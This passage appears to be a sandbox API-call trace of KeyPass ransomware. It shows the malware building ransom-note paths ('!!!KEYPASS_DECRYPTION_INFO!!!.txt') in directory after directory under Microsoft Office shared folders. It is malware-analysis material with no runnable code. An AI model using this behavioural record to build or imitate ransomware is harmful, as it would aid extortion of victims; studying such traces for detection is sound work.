Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.980] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.982] GetFileType (hFile=0xd44) returned 0x1 [0268.982] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.982] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.982] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.983] CloseHandle (hObject=0xd44) returned 1 [0268.983] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.983] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.983] GetLastError () returned 0x3f0 [0268.983] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.983] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.985] GetFileType (hFile=0xd4c) returned 0x1 [0268.985] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.985] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.985] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.986] CloseHandle (hObject=0xd4c) returned 1 [0268.986] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.986] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.986] GetLastError () returned 0x3f0 [0268.986] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.986] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STUDIO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.050] GetFileType (hFile=0xd50) returned 0x1 [0269.050] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.050] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.050] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.051] CloseHandle (hObject=0xd50) returned 1 [0269.051] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.051] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.051] GetLastError () returned 0x3f0 [0269.051] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.051] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SUMIPNTG\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.054] GetFileType (hFile=0xd54) returned 0x1 [0269.054] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.054] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.054] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.055] CloseHandle (hObject=0xd54) returned 1 [0269.055] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.055] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.055] GetLastError () returned 0x3f0 [0269.055] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.055] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.057] GetFileType (hFile=0xd58) returned 0x1 [0269.057] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.057] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.057] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.057] CloseHandle (hObject=0xd58) returned 1 [0269.058] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.058] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.058] GetLastError () returned 0x3f0 [0269.058] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.058] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.064] GetFileType (hFile=0xd48) returned 0x1 [0269.064] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.064] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.064] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.065] CloseHandle (hObject=0xd48) returned 1 [0269.065] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.065] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.065] GetLastError () returned 0x3f0 [0269.065] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.065] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.116] GetFileType (hFile=0xd60) returned 0x1 [0269.116] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.116] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.116] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.117] CloseHandle (hObject=0xd60) returned 1 [0269.118] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.118] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.118] GetLastError () returned 0x3f0 [0269.118] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.118] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.119] GetFileType (hFile=0xd64) returned 0x1 [0269.119] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.119] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.119] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.120] CloseHandle (hObject=0xd64) returned 1 [0269.120] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.120] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.120] GetLastError () returned 0x3f0 [0269.120] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.120] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ENFR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.121] GetFileType (hFile=0xd68) returned 0x1 [0269.121] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.121] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.121] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.121] CloseHandle (hObject=0xd68) returned 1 [0269.122] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.122] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.122] GetLastError () returned 0x3f0 [0269.122] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.122] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\ESEN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.123] GetFileType (hFile=0xd6c) returned 0x1 [0269.123] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.123] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.123] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.124] CloseHandle (hObject=0xd6c) returned 1 [0269.124] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.124] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.124] GetLastError () returned 0x3f0 [0269.124] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.124] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\TRANSLAT\\FREN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.125] GetFileType (hFile=0xd5c) returned 0x1 [0269.125] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.125] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.125] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.126] CloseHandle (hObject=0xd5c) returned 1 [0269.126] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.126] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.126] GetLastError () returned 0x3f0 [0269.126] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.126] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.127] GetFileType (hFile=0xd70) returned 0x1 [0269.127] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.127] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.127] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.127] CloseHandle (hObject=0xd70) returned 1 [0269.127] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.128] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.128] GetLastError () returned 0x3f0 [0269.128] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.128] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.128] GetFileType (hFile=0xd74) returned 0x1 [0269.128] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.129] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.129] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.129] CloseHandle (hObject=0xd74) returned 1 [0269.129] PeekMessageW (in: lpMsg=0x2e4dc98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dc98) returned 0 [0269.129] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4f28030 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.129] GetLastError () returned 0x3f0 [0269.129] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.129] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.130] GetFileType (hFile=0xd78) returned 0x1 [0269.130] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db28, cchData=2 | out: lpLCData="0") returned 2 [0269.130] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db14, cchData=2 | out: lpLCData="0") returned 2 [0269.130] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4db04, cchData=2 | out: lpLCData="0") returned 2 [0269.131] CloseHandle (hObject=0xd78) returned 1 [0269.131] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.131] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.131] GetLastError () returned 0x3f0 [0269.131] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.131] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.133] GetFileType (hFile=0xd7c) returned 0x1 [0269.133] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.133] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.133] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.134] CloseHandle (hObject=0xd7c) returned 1 [0269.134] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.134] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.134] GetLastError () returned 0x3f0 [0269.134] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.134] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Visio Shared\\Fonts\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.160] GetFileType (hFile=0xd80) returned 0x1 [0269.160] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.161] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.161] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.161] CloseHandle (hObject=0xd80) returned 1 [0269.161] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0269.161] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39865f8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.162] GetLastError () returned 0x3f0 [0269.162] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.162] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.162] GetFileType (hFile=0xd84) returned 0x1 [0269.163] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0269.163] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0269.163] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0269.163] CloseHandle (hObject=0xd84) returned 1 [0269.163] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0269.163] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0269.163] GetLastError () returned 0x3f0 [0269.164] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0269.164] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Web Server Extensions\\16\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0269.164] GetFileType (hFile=0xd88) returned 0x1 [0269.164] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0269.164] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0269.164] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0269.165] CloseHandle (hObject=0xd88) returned 1 [0269.165] PeekMessageW (in: 